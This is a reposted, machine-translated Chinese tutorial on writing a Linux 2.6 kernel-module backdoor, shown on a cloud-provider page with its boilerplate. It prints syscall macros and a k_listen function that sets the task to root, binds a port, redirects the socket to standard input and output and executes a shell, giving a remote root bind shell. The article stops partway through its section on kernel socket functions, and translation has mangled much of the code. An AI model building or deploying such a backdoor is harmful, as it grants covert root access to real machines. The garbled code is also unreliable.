Linux 2.6.x kernel-level backdoor program

Source: Internet
Author: User

Author: wzt
EMail: wzt@xsec.org
Site: http://www.xsec.org & hhtp: // hi.baidu.com/wzt85
Date: 2008-8-29

I. Introduction to kernel Backdoors
2. system calls in the kernel
Iii. Use the kernel mode socket function
4. How to expand the backdoor
V. References
6. Source Code

I. Introduction to kernel Backdoors

The so-called Kernel Backdoor, of course, refers to the remote control shell module provided to hacker in the kernel space. It is similar in nature to the backdoor in ring3, all functions are implemented in the kernel space. In fact, it is basically confused with the rootkit definition. Some kernel backdoors cannot provide the capability to hide behaviors, and some rookit does not provide the remote shell function. Only the two can be combined into a powerful root-kit.
This article only introduces two basic methods for implementing the Kernel Backdoor. If you have a better method, please advise.

2. system calls in the kernel

In the Unix world, the idea that everything is a file makes socket communication much simpler. Generally, we can directly use api functions such as read and write as the socket communication method, these api functions will eventually call the sys_XXX series provided by the kernel. The read and other functions used at ordinary times have been encapsulated in the c library. In fact, we can directly send the Soft Interrupt int 0x80 to the system to execute the sys_read function, for example:

Int my_read (int fd, char * buf, off_t count)
{
Long _ res;

_ Asm _ volatile ("push % ebx; int $0x80; pop % ebx"

: "= A" (_ res)
: "0" (_ NR_read), "ri" (long) (fd), "c" (long) (buf ),
"D" (long) (count): "memory ");

Return (int) (_ res );
}

At&t's embedded assembler program is used to store the specific system call numbers, ebx, ecx, and edx, In the eax Register into the read function parameters. Finally, execute an int $0x80 and run sys_read in the kernel. To implement the backdoor function in the kernel space, you must call some functions for socket communication. This section describes how to directly use the System Call method in the kernel to communicate with remote users. The next section describes how to directly use the kernel socket function for communication.

Through the above example, we understand how to use system calls in the user space. The above method can also be used in the kernel space. In this way, the execution system call efficiency in the kernel space will be very low, but it will be very convenient for us to write programs. The famous sk rookti uses this method for communication.

The Linux Kernel provides many different system calls. We need to write several macros to conveniently use these system calls. For example, the following macros:

# Define my _ syscall_return (type, res)
Do {
If (unsigned long) (res)> = (unsigned long) (-(128 + 1 ))){
Errno =-(res );
Res =-1;
}
Return (type) (res );
} While (0)

# Define my_syscall3 (type, name, type1, arg1, type2, arg2, type3, arg3)
Type name (type1 arg1, type2 arg2, type3 arg3)
{
Long _ res;
_ Asm _ volatile ("push % ebx; int $0x80; pop % ebx"
: "= A" (_ res)
: "0" (_ NR _ # name), "ri" (long) (arg1), "c" (long) (arg2 )),
"D" (long) (arg3): "memory ");
My _ syscall_return (type ,__ res );
}

My_syscall3 indicates that this system call has three parameters. Taking the read system call as an example, we can use it in the kernel space as follows:
Static inline my_syscall3 (int, read, int, fd, char *, buf, off_t, count );

It will be expanded:

Int read (int fd, char * buf, off_t count)
{
Long _ res;

_ Asm _ volatile ("push % ebx; int $0x80; pop % ebx"

: "= A" (_ res)
: "0" (_ NR_read), "ri" (long) (fd), "c" (long) (buf ),
"D" (long) (count): "memory ");

Return (int) (_ res );
}

This article will give more comprehensive macros later. With these macros, You can freely use the system call in the kernel.

Now, you can use system calls such as read, write, and select to send and receive information in the kernel space. But how to use the socket functions that are usually used in the user space in the kernel? In fact, these socket functions are implemented by executing the sys_socketall system call:

The linux-2.6.18/net/socket. c

Asmlinkage long sys_socketcall (int call, unsigned long _ user * args)
{
Unsigned long a [6];
Unsigned long a0, a1;
Int err;

...

A0 = a [0];
A1 = a [1];

Switch (call)
{
Case SYS_SOCKET:
Err = sys_socket (a0, a1, a [2]);
Break;
Case SYS_BIND:
Err = sys_bind (a0, (struct sockaddr _ user *) a1, a [2]);
Break;
Case SYS_CONNECT:
Err = sys_connect (a0, (struct sockaddr _ user *) a1, a [2]);
Break;
Case SYS_LISTEN:
Err = sys_listen (a0, a1 );
Break;
Case SYS_SOCKETPAIR:
Err = sys_socketpair (a0, a1, a [2], (int _ user *) a [3]);
Break;
Case SYS_SEND:
Err = sys_send (a0, (void _ user *) a1, a [2], a [3]);
Break;
...
}

Call the sys_socketcall function to execute specific function calls. The call parameter is generally SYS_SOCKET, SYS_BIND, etc. args is an array and each element of the array is assigned a value, to call different functions. Taking the bind function as an example, you can call it as follows:

Struct sockaddr_in cli_addr;
Unsigned long args [];

Args [0] = sock_fd;
Args [1] = (unsigned long) cli_addr;
Args [2] = (unsigned long) sizeof (struct sockaddr_in );

Sys_socketcall (SYS_BIND, args );

Other functions are similar. In this way, you can use these socket functions in the kernel.

The following is an example of listening to a port:
Int k_listen (int port)
{
Struct task_struct * tsk = current;
Struct sockaddr_in serv_addr;
Struct sockaddr_in cli_addr;
Mm_segment_t old_fs;
Char buff [100];

Unsigned long arg [3];
Int sock_fd, sock_id;
Int tmp_kid;
Int I, n, cli_len;

Old_fs = get_fs ();

Tsk-> uid = 0;
Tsk-> euid = 0;
Tsk-> gid = SGID;
Tsk-> egid = 0;

/* Create socket */
Arg [0] = AF_INET;
Arg [1] = SOCK_STREAM;
Arg [2] = 0;

Set_fs (KERNEL_DS );

Ssetmask (~ 0 );

For (I = 0; I <4096; I ++)
Close (I );

If (sock_fd = socketcall (SYS_SOCKET, arg) =-1 ){
Set_fs (old_fs );

Return 0;
}
Printk ("create socket OK .");

/* Bind address */
Memset (void *) & serv_addr, 0, sizeof (serv_addr ));

Serv_addr.sin_family = AF_INET;
Serv_addr.sin_port = htons (port );
Serv_addr.sin_addr.s_addr = 0;

Arg [0] = sock_fd;
Arg [1] = (unsigned long) & serv_addr;
Arg [2] = (unsigned long) sizeof (serv_addr );

If (socketcall (SYS_BIND, arg) =-1 ){
Close (sock_fd );
Set_fs (old_fs );

Return 0;
}
Printk ("bind address OK .");

/* Begin listen */
Arg [0] = sock_fd;
Arg [1] = (unsigned long) 255;

If (socketcall (SYS_LISTEN, arg) =-1 ){
Close (sock_fd );
Set_fs (old_fs );

Return 0;
}
Printk ("listen on port % d", port );

Cli_len = sizeof (cli_addr );
Arg [0] = sock_fd;
Arg [1] = (unsigned long) & cli_addr;
Arg [2] = (unsigned long) & cli_len;

If (sock_id = socketcall (SYS_ACCEPT, arg) =-1 ){
Printk ("accept error .");

Close (sock_fd );
Set_fs (old_fs );

Return 0;
}
Printk ("accept a client .");

Dup2 (sock_id, 0 );
Dup2 (sock_id, 1 );
Dup2 (sock_id, 2 );

Execve (earg [0], (const char **) earg, (const char **) env );

Close (sock_id );
Close (sock_fd );
Set_fs (old_fs );

Return 1;
}

Iii. Use the kernel mode socket function

We have previously considered that using system calls in the kernel space will reduce the system efficiency. The solution is to directly use the kernel socket function in the kernel for communication. Let's look at how the kernel mode socket is implemented in the kernel, also in the linux-2.6.18/net/socket. c:

The function of the socket function in the user mode socket is to establish a socket, which is implemented by calling the sys_socket function, therefore, we directly use its functions in our modules to accomplish the same functions. let's take a look at how it is implemented:

Asmlinkage long sys_socket (int family, int type, int protocol)
{
Int retval;
Struct socket * sock;

Retval = sock_create (family, type, protocol, & sock );
If (retval <0)
Goto out;

Retval = sock_map_fd (sock );
If (retval <0)
Goto out_release;

Out:

Return retval;

Out_release:
Sock_release (sock );
Return retval;
}

The key is two functions. sock_create () is used to initialize a struct socket struct. sock_map_fd () is used to allocate an idle file descriptor to the socket structure. Interested

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.